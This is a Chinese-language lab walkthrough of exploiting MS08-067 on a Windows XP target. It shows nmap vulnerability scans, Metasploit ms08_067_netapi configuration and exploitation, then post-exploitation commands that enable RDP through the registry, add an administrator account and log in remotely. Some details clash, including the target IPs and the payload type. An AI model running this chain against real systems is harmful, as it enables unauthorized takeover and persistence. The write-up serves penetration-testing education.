ms08-067漏洞复现:漏洞原理+环境搭建+渗透实战(CVE-2008-4250)

目录

一、ms08-067

1、漏洞简介

2、影响范围

二、环境搭建

1、拓扑环境

2、关闭靶机防火墙

3、关闭靶机自动更新

三、渗透实战

1、nmap探测端口

2、nmap探测漏洞

3、msfconsole

[4、search ms08-067](#4、search ms08-067)

5、ms08_067_netapi模块

6、MSF配置

7、确认配置无误

8、执行攻击

8、查看网络监听端口

9、开启远程桌面

10、再次查看网络监听端口

11、创建管理员账户

12、远程桌面登录


本文详细介绍了MS08-067高危漏洞(CVE-2008-4250)的渗透测试过程。该漏洞影响Windows XP/Server 2003等系统,通过445端口实现远程代码执行。实验搭建了Kali攻击机(192.168.59.141)和Windows XP靶机(192.168.59.147)的环境,使用nmap扫描确认漏洞存在后,通过Metasploit的ms08_067_netapi模块成功利用漏洞,创建管理员账户并开启3389远程桌面,最终通过rdesktop实现图形化控制。整个过程展示了从漏洞探测到完全控制目标系统的完整攻击链。

环境 IP地址 状态与用途
攻击机(Kali) 192.168.59.141 作为攻击起点,向靶机发送恶意载荷,并接收Meterpreter反向连接
靶机(Windows XP) 192.168.59.147 已被攻陷,开放4444端口与攻击机保持连接,等待接收远程指令

一、ms08-067

1、漏洞简介

MS08-067(CVE-2008-4250)是 2008 年披露的 Windows 高危远程代码执行漏洞,因 Server 服务处理 RPC 请求时存在边界校验缺陷,触发栈缓冲区溢出。攻击者可通过 445 端口,无需认证发送恶意请求,获取系统最高权限并执行任意命令。该漏洞影响 Windows 2000、XP、Server 2003 等多个系统,曾被 Conficker 蠕虫大规模利用,需安装 KB958644 补丁或关闭 445 端口防护。

项目 详细信息
微软官方公告 MS08-067
CVE 编号 CVE-2008-4250
漏洞名称 服务器服务中的漏洞可能允许远程执行代码
漏洞类型 远程代码执行
技术原理 栈缓冲区溢出
受影响组件 Windows 服务器服务
关键端口 TCP 445 (SMB)
攻击前提 无需身份验证
危害等级 严重

2、影响范围

MS08-067 漏洞影响的详细操作系统列表,主要影响的是在2008年时占据主流的Windows版本,其影响范围非常广泛。

操作系统 受影响版本
Windows 2000 Professional, Server, Advanced Server
Windows XP Professional, Home Edition (SP2/SP3)
Windows Server 2003 Standard, Enterprise, Datacenter, Web Edition (32位/64位)
Windows Vista All Versions (包括SP1)
Windows Server 2008 All Versions (包括Server Core 安装选项)

二、环境搭建

1、拓扑环境

本文搭建的ms08-067漏洞的模拟攻击环境,由攻击机Kali Linux和目标靶机Windows XP构成。两台主机均部署于192.168.59.0/24虚拟子网,具体如下所示。

拓扑元素 详细信息 说明
网络类型 局域网 模拟企业内网环境,攻击机与靶机处于同一网段。
网段 192.168.59.0/24 攻击发生的基础网络环境。
攻击机 Kali Linux 渗透测试平台,集成了MSF等攻击工具。
攻击机 IP 192.168.59.141 攻击流量的源地址。
目标靶机 Windows XP 存在MS08-067漏洞的系统。
目标 IP 192.168.59.147 攻击流量的目标地址。
攻击方向 192.168.59.141 --> 192.168.59.147 攻击从Kali发起,指向WinXP靶机。
关键端口 TCP 445 MS08-067漏洞的利用入口,SMB服务端口。
利用漏洞 MS08-067 (CVE-2008-4250) 服务器服务中的远程代码执行漏洞。

2、关闭靶机防火墙

3、关闭靶机自动更新

Windows系统不可以安装更新,需要手动关闭自动更新,否则这个漏洞可能被修复了,查看是否安装更新可以查看控制面板-程序(卸载)查看已经安装更新,如果实验失败了,看一下是否已经安装更新(如下图所示)。

三、渗透实战

1、nmap探测端口

使用nmap命令**直接对IP地址为192.168.59.147的主机进行端口扫描和版本探测,**如下所示。

复制代码
nmap -sV -Pn 192.168.59.147
  • nmap: 强大的网络扫描和安全审计工具。

  • -sV (版本探测): 此参数让Nmap不仅探测端口是否开放,还尝试确定端口上运行的服务及其具体版本号。这是信息收集的关键一步。

  • -Pn (无主机发现): 此参数告诉Nmap跳过主机发现阶段,直接将所有指定目标视为"存活"状态并进行扫描。这在以下情况非常有用:

    • 目标主机配置为不响应Ping请求(如某些Windows防火墙设置)。

    • 确保扫描能穿透某些过滤了ICMP包的网络设备。

  • 192.168.59.147: 指定的目标,即Win7靶机的IP地址。

本次Nmap扫描结果显示,目标主机192.168.59.147存活且开放了135、139和445三个TCP端口,其中445端口运行着Windows SMB服务,这为MS08-067漏洞利用提供了直接攻击入口。服务识别出操作系统为Windows XP,该扫描成功突破了可能存在的ICMP屏蔽,证实目标完全暴露在MS08-067攻击威胁下,可立即进行漏洞利用。

2、nmap探测漏洞

复制代码
nmap --script=vuln 192.168.59.147
  • --script=vuln : 这是命令的核心。它调用Nmap的脚本引擎,运行所有与漏洞相关的脚本。这些脚本会检查目标服务是否存在已知的、特定的安全漏洞。
  • 命令目的 : 这条命令不再是简单的端口和服务发现,而是主动进行漏洞评估,直接询问"目标是否存在我已知的严重漏洞?"

此次Nmap漏洞扫描取得决定性成果,确认目标192.168.59.147存在两个高危漏洞。系统被确认为Windows XP,不仅暴露了预期的MS08-067远程代码执行漏洞(CVE-2008-4250),更检测出危害更大的"永恒之蓝"漏洞MS17-010。这两个漏洞均允许攻击者通过445端口完全控制系统,使目标处于极度危险境地。

复制代码
nmap --script=vuln 192.168.59.147
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-08 02:26 CST
Nmap scan report for 192.168.59.147
Host is up (0.0026s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

Nmap done: 1 IP address (1 host up) scanned in 39.70 seconds

3、msfconsole

在Kali Linux中打开终端,输入msfconsole命令启动Metasploit框架。这个集成化渗透平台将为我们提供完整的攻击链支持,等待控制台加载完成后,我们将进入一个功能强大的命令行环境,这里集成了数百个漏洞利用模块、载荷和辅助工具,为后续渗透测试奠定基础。

4、search ms08-067

使用search ms08-067是在框架中搜索ms08-067漏洞利用模块,该命令会扫描包括漏洞利用、辅助扫描和载荷在内的所有模块,返回包含指定关键词的完整列表及路径。这能帮助渗透测试者迅速定位正确的攻击模块,是高效利用框架进行安全评估的关键第一步。

5、ms08_067_netapi模块

在msf提示符下输入use exploit/windows/smb/ms08_067_netapi,选择针对MS08-067漏洞的专用攻击模块。这个经过精心设计的模块会通过目标系统445端口发送精心构造的RPC请求,利用服务器服务中的路径规范化漏洞触发缓冲区溢出,为远程代码执行创造必要条件。

6、MSF配置

在Metasploit框架中完成了对MS08-067漏洞利用模块的关键参数配置,命令如下所示。

复制代码
set rhost 192.168.59.147
set lhost 192.168.59.141
set target 0
set rport 445
set payload generic/shell_bind_tcp

其中set rhost 192.168.59.147指定了目标靶机IP地址,set lhost 192.168.59.141设置了接收回连的攻击机IP。set target 0选择了适用于Windows XP SP3的默认攻击目标模板,set rport 445确保攻击指向SMB服务的标准端口。特别值得注意的是set payload generic/shell_bind_tcp选择了一个在目标端绑定端口的载荷类型,这与常见的反向连接载荷不同,它会在漏洞利用成功后直接在目标系统上开启一个TCP监听端口等待连接。

7、确认配置无误

输入show options确认配置是否一致,如下所示配置正确。

8、执行攻击

执行run或者exploit命令开启攻击,如下所示渗透成功。

8、查看网络监听端口

执行netstat -ano命令显示本机所有活跃的网络连接和监听端口,并用数字形式和进程PID来呈现。 netstat 是一个用于显示网络连接、路由表、接口统计等网络相关信息的命令行工具。参数 -ano 是三个独立选项的组合,它们极大地增强了命令的输出信息:

  • -a :显示所有连接和监听端口。如果没有这个选项,默认只显示已建立的连接,而不会显示正在等待连接的"监听"端口。

  • -n :以数字形式 显示地址和端口号。它 会将 IP 地址反向解析为主机名,也会将端口号(如3389)转换为服务名(如ms-wbt-server)。这使输出更快速、更原始,对于判断特定端口号至关重要。

  • -o :显示与每个连接相关的进程 PID。这是非常关键的信息,可以让你知道是哪个程序或服务在使用该网络端口。

根据netstat -ano命令输出分析,该系统存在异常网络活动,最显著的特征是TCP 4444端口上存在一个已建立的远程连接。该端口由PID 1136的进程占用,正与IP地址192.168.59.141的34337端口保持ESTABLISHED连接状态,这种高端口与高端口的通信模式非常符合Meterpreter等后门程序的典型特征,表明系统已被渗透。同时,系统核心服务端口135、139、445均处于监听状态,证实了SMB服务开放的事实,这与之前发现的MS08-067漏洞相吻合。UDP端口137-138的开放进一步验证了NetBIOS服务的运行。输出中未见3389端口的监听记录,说明远程桌面服务未启。

9、开启远程桌面

通过修改注册表来强制开启 Windows 远程桌面服务的自动化操作,命令如下所示。

复制代码
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
  • 核心命令解析: reg add 命令用于修改注册表,其操作目标是 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server 这个控制终端服务的关键路径。参数 /v fDenyTSConnections 指定要修改的键值名称,这个键值专门控制是否拒绝远程桌面连接。通过 /t REG_DWORD /d 00000000 将其数据设置为0,表示"允许连接",并使用 /f 参数强制执行无需确认。
  • 自动化实现方式: 命令首先使用 echo 将完整的注册表修改命令输出重定向到系统目录下的 3389.bat 批处理文件中,然后立即通过 call 执行这个批处理文件。这种先将命令写入脚本再执行的方式,常见于需要绕过某些命令行限制或实现复杂操作序列的场景。

10、再次查看网络监听端口

执行成功开启远程桌面的命令后,系统会立即开放3389端口的远程桌面服务,使攻击者能够通过图形化界面直接登录和控制目标服务器。接下来再次执行netstat -ano命令,如下所示此时目标机器开启了3389远程服务端口。

11、创建管理员账户

我们通过先创建普通用户,再将其加入管理员组来新疆管理员账户,具体命令如下所示。

复制代码
net user 用户名 密码 /add
net localgroup administrators 用户名 /add
  • 使用net user 用户名 密码 /add 创建一个新的本地用户账户。其中"用户名"指定账户名称,"密码"设置登录密码,/add 参数表示执行添加操作。该命令仅创建普通用户,权限有限。
  • 使用net localgroup administrators 用户名 /add 将指定用户提升为管理员权限的命令。它将用户添加到系统的"administrators"本地组中,使其获得完全的系统控制权,包括安装软件、修改系统设置、管理其他用户等高级权限。

此时登录靶机,点击控制面板,用户管理,发现已创建成功相关账户。

12、远程桌面登录

kali上新开终端窗口输入如下命令,对目标机器进行远程桌面连接。

复制代码
rdesktop 192.168.163.147

输入刚才创建的账户和密码,如下图所示。

如下所示,登陆后会导致其他用户断开连接。

点击开始菜单,如下所示登陆账号为刚刚创建的账户。